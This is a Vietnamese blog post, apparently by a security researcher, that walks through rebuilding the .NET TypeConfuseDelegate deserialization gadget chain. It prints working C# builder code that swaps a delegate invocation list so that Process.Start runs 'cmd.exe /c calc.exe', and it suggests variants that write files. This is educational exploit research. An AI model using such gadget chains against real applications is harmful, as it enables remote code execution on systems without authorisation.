Tiếp tục với series analyze gadgetchain, nếu bạn đọc đã theo dõi bài trước sẽ thấy gadgetchain này quá đơn giản phải không?
Từ bài trước, ta có call graph của gadgetchain như sau:
-> SortedSet.OnDeserialization()
-> SortedSet.Add()
-> SortedSet.AddIfNotPresent()
-> ComparisonComparer.Compare()
-> Process.Start()
Ta biết được, sink của gadgetchain này nằm ở ComparisonComparer.Compare():
[Serializable]
internal class ComparisonComparer<T> : Comparer<T>
{
public ComparisonComparer(Comparison<T> comparison)
{
this._comparison = comparison;
}
public override int Compare(T x, T y)
{
return this._comparison(x, y);
}
private readonly Comparison<T> _comparison;
}
Dựa vào các thông tin sơ bộ trên, ta có thể build được gadgetchain với đoạn code sau:
public static object CustomGadget(InputArgs inputArgs)
{
Comparison<string> comparison = new Comparison<string>(Process.Start); //[0]
//ComparisonComparer<string> comparisonComparer = new ComparisonComparer<string>(comparison); //[1]
Comparer<string> comparisonComparer = Comparer<string>.Create(comparison); //[2]
SortedSet<string> set = new SortedSet<string>(comparisonComparer);
set.Add("xxxx");
set.Add("vvklvv");
return set;
}
Tại [1], ComparisonComparer là một Class với Internal attribute, do đó class này chỉ có thể access từ các class khác trong cùng một Assembly. Ví dụ như ComparisonComparer thuộc Assembly mscorlib.dll, thì chỉ các class khác thuộc assembly này mới có thể access và tạo instance của class này. Việc này có thể giải quyết bằng cách sử dụng Reflection API giống bên Java, tuy nhiên ở gadgetchain này, tác giả đã sử dụng public method Comparer<T>.Create() để tạo instance [2], giúp hạn chế được vài dòng gọi tới Reflection API ( ͡~ ͜ʖ ͡°):
Đừng vội compile, vì chúng ta sẽ gặp mỗi lỗi tại đây:
Xem xét lại delegate type System.Comparison:
public delegate int Comparison<in T>(T x, T y);
Ta có thể thấy, delegate type này bắt buộc phải trả lại kết quả có Type int, trong khi Process.Start() sẽ return Type Process.
Mình đã nghĩ tới cách sử dụng Reflection để change methodBase của comparison delegate:
public static object CustomGadget2(InputArgs inputArgs)
{
Comparison<string> comparison = new Comparison<string>(String.Compare);
//ComparisonComparer<string> comparisonComparer = new ComparisonComparer<string>(comparison);
Comparer<string> comparisonComparer = Comparer<string>.Create(comparison);
SortedSet<string> set = new SortedSet<string>(comparisonComparer);
set.Add("xxxx");
set.Add("vvklvv");
FieldInfo fi = typeof(Delegate).GetField("_methodBase", BindingFlags.NonPublic | BindingFlags.Instance);
MethodInfo methodInfo = typeof(Process).GetMethod("Start", BindingFlags.Public | BindingFlags.Instance | BindingFlags.Static,
null, new[] { typeof(String), typeof(String) }, null);
fi.SetValue(comparison, methodInfo);
return set;
}
Tuy nhiên khi serialize delegate, vẫn có cơ chế check lại phần type này (tại method Delegate.UnsafeCreateDelegate()) và trả về một Exception:
— — — — — -*** — — — — —
?! Vậy mà tác giả của gadgetchain vẫn có thể build thành công gadgetchain này, cho phép invoke một delegate type có signature khác hẳn so với delegate type ban đầu. Có lẽ đây chính là lý do mà gadget có tên là TypeConfuseDelegate (ʘ ͟ʖ ʘ) (+1000 respect!!)
— — — — — -*** — — — — —
Thôi thì khó quá, tham khảo code của tác giả vậy ¯\_(ツ)_/¯:
public static object TypeConfuseDelegateGadget(InputArgs inputArgs)
{
string cmdFromFile = inputArgs.CmdFromFile;
if (!string.IsNullOrEmpty(cmdFromFile))
{
inputArgs.Cmd = cmdFromFile;
}
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); //[3]
IComparer<string> comp = Comparer<string>.Create(d); //[4]
SortedSet<string> set = new SortedSet<string>(comp);
set.Add(inputArgs.CmdFileName);
if (inputArgs.HasArguments)
{
set.Add(inputArgs.CmdArguments);
}
else
{
set.Add("");
}
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);//[5]
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start); //[6]
fi.SetValue(d, invoke_list);
return set;
}
Phần code của mình so với code của tác giả có một chút khác biệt,
Tại [3], tác giả đã sử dụng MulticastDelegate.Combine() để double comparison delegate lên, rồi sau đó mới tạo instance ComparisonComparer với delegate này.
Điểm đặc biệt ở đây, là với MulticastDelegate.Combine(args1, args2), method này sẽ clone lại Delegate type của args1, do đó nếu args1 có type là Comparison<string> thì MulticastDelegate.Combine cũng sẽ return một delegate có type Comparison<string>.
For references Delegate.Combine() -> MulticastDelegate.CombineImpl() -> NewMulticastDelegate():
public abstract class Delegate : ICloneable, ISerializable
{
public static Delegate Combine(Delegate a, Delegate b)
{
if (a == null)
{
return b;
}
return a.CombineImpl(b);
}
}
public abstract class MulticastDelegate : Delegate
{
private MulticastDelegate NewMulticastDelegate(object[] invocationList, int invocationCount, bool thisIsMultiCastAlready)
{
MulticastDelegate multicastDelegate = Delegate.InternalAllocLike(this);
//truncated
return multicastDelegate;
}
Do đó, tại [4], Comparer<string>.Create(d) hoàn toàn hợp lệ!
Tiếp tục, tại [5], _invocationList được lấy ra từ MulticastDelegate phía trên và đổi giá trị thành một delegate method của Process.Start(). Với _invocationList là một list các delegate method của MulticastDelegate:
Sau khi được modify tại [6]:
Có thể bạn sẽ thắc mắc, tại sao lại không modify _invocationList[0] hay cả hai luôn đi, lý do nằm ở đây, khi deserializer construct object, một số callback sẽ được gọi, ở đây là DelegateSerializationHolder.GetRealObject():
Tại DelegateSerializationHolder.GetRealObject(), phần từ đầu tiên của list delegate sẽ được lấy ra làm type cho cả MultiCastDelegate object, do đó, nếu muốn giữ type Comparison<string>, ta cần giữ nguyên giá trị của _invocationList[0] là Comparison<string>.
Tới đây, đoạn gadgetchain mà mình vừa code vừa “tham khảo” sẽ giống như sau:
public static object CustomGadget(InputArgs inputArgs)
{
Comparison<string> comparison = new Comparison<string>(String.Compare);
Comparison<string> realComparison = (Comparison<string>)MulticastDelegate.Combine(comparison, comparison);
//ComparisonComparer<string> comparisonComparer = new ComparisonComparer<string>(comparison);
Comparer<string> comparisonComparer = Comparer<string>.Create(realComparison);
SortedSet<string> set = new SortedSet<string>(comparisonComparer);
set.Add("cmd.exe");
set.Add("/c calc.exe");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = realComparison.GetInvocationList();
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(realComparison, invoke_list);
return set;
}
Đoạn code này đã có thể generate ra một gadgetchain cho phép pop calc, tuy nhiên nó có thể được customize để làm nhiều việc hơn thế!
Tại:
invoke_list[1] = new Func<string, string, Process>(Process.Start);
Hoàn toàn có thể thay đổi thành (giả sử thế chứ code này ko chạy ;) ) để làm được nhiều tác vụ hơn trong quá trình khai thác:
invoke_list[1] = new Func<string, string, void>(File.WriteAllText);
Như vậy là mình đã clone thành công gadgetchain TypeConfuseDelegate, quá trình viết lại bài này cũng giúp mình làm rõ thêm nhiều vấn đề mà đó giờ vẫn nghĩ là nghiễm nhiên nó thế ;).
Từ đây mới hiểu tại sao gadget này lại có tên là TypeConfuseDelegate thay vì SortedSet ( ͡~ ͜ʖ ͡°).
#Bonus part
Mình đã thử compile một bộ CodeQL DB bao gồm toàn bộ các assembly của .NET Framework và query để tìm biến thể của gadgetchain này, và có thu về một số kết quả như sau:
Mặc dù chưa confirm được hết nhưng khá chắc là một trong số này có thể được viết thành một gadgetchain mới, bạn đọc có thể tham khảo query tại đây (vì lý do pháp lý nên mình không thể public DB được): https://gist.github.com/testanull/34f34e7ce000913e104c3869bef1f6f7
Thanks for reading!
__Jang__